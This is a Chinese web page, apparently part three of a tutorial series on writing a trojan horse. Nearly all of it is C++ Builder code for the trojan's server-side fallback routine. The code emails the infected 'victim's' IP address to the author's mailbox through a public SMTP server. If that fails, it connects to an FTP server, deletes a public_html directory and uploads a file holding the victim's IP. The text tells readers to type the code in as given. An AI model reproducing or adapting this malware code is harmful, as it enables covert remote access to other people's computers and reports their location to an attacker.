万卷书   首页 > 电脑书籍 > 黑客攻防战 >木马是如何编写的(三)
 
 

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{
END:;
  Socket-〉Close();
  //关闭服务
  ServerSocket1-〉Active =true;
  //再次打开服务
  if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();
  //如果SMTP服务器已连接则断开
  NMSMTP1-〉Host = "smtp.163.net";
  //选一个好用的SMTP服务器,如163、263、sina和btamail
  NMSMTP1-〉UserID = "";
  //你SMTP的ID
  try
  {
   NMSMTP1-〉Connect();
   //再次连接
  }
  catch(...)
  {
   goto NextTime;
   //跳到NextTime
  }
  NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";
  //受害者的Email地址
  NMSMTP1-〉PostMessage-〉FromName = "Casualty";
  //受害者的名字
  NMSMTP1-〉PostMessage-〉ToAddress-〉Text = " crossbow@8848.net ";
  //将信发到我的邮箱,这一步很关键
  NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:") + NMSMTP1-〉LocalIP ;
  //信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
  NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";
  //信的主题
  NMSMTP1-〉SendMail();
  //发送!
  return;
  //返回

NextTime:
  NMFTP1-〉Host = " ftp.go.163.com ";
  //你的FTP服务器的地址
  NMFTP1-〉UserID = "";
  //你的用户ID
  NMFTP1-〉Port = 21;
  //FTP端口号,一般为21
  NMFTP1-〉Password = "";
  //你的FTP的密码
  if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();
  //如果已连接就断开
  try
   {
    NMFTP1-〉Connect();
    //再连接
   }
  catch(...)
   {
    return;
    //返回
   }
  AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;
  //受害者的IP地址
  FILE * Upload;
  Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");
  //创建一个新文件准备写,如果已存在就覆盖
  fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
  //写入以上的SendToSite的内容
  fclose(Upload);
  //写完后关闭此文件
  NMFTP1-〉RemoveDir("public_html");
  //删除public_html目录
  NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);
  //上传!
}

下一页